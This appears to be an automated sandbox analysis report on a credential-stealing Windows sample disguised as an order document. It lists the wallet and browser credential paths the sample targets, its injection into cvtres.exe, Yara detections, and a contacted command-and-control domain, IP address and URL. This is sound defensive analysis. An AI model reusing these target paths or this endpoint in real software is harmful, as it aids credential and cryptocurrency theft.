Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Exodus\
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Jaxx\Local Storage\
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Exodus\
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: cvtres.exe, 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum-LTC\wallets\
Tries to steal Instant Messenger accounts or passwords
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 1.2.cvtres.exe.7e35982.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.7e3b8e3.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 1.2.cvtres.exe.7e414d2.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000002.299860559.00000000070E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.306509840.0000000007E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: cvtres.exe PID: 4128, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 715078 Sample: NUEVA ORDEN-MATSA 10-2022,.exe Startdate: 03/10/2022 Architecture: WINDOWS Score: 100 35 Snort IDS alert for network traffic 2->35 37 Malicious sample detected (through community Yara rule) 2->37 39 Antivirus / Scanner detection for submitted sample 2->39 41 7 other signatures 2->41 8 NUEVA ORDEN-MATSA 10-2022,.exe 1 2->8         started        process3 file4 23 C:\...23UEVA ORDEN-MATSA 10-2022,.exe.log, CSV 8->23 dropped 43 Writes to foreign memory regions 8->43 45 Allocates memory in foreign processes 8->45 47 Injects a PE file into a foreign processes 8->47 12 cvtres.exe 63 8->12         started        signatures5 process6 dnsIp7 33 cinho.shop 188.114.97.3, 49701, 49706, 80 CLOUDFLARENETUS European Union 12->33 25 C:\Users\user\AppData\Local\Temp\...\nss3.dll, PE32 12->25 dropped 27 C:\Users\user\AppData\Local\...\mozglue.dll, PE32 12->27 dropped 29 C:\Users\user\AppData\...\vcruntime140.dll, PE32 12->29 dropped 31 45 other files (none is malicious) 12->31 dropped 49 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 12->49 51 Tries to steal Instant Messenger accounts or passwords 12->51 53 Tries to steal Mail credentials (via file / registry access) 12->53 55 5 other signatures 12->55 17 cmd.exe 1 12->17         started        file8 signatures9 process10 process11 19 conhost.exe 17->19         started        21 timeout.exe 1 17->21         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
188.114.97.3
 cinho.shop European Union
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
cinho.shop 188.114.97.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://cinho.shop/PL341/index.php true
  • Avira URL Cloud: safe
 unknown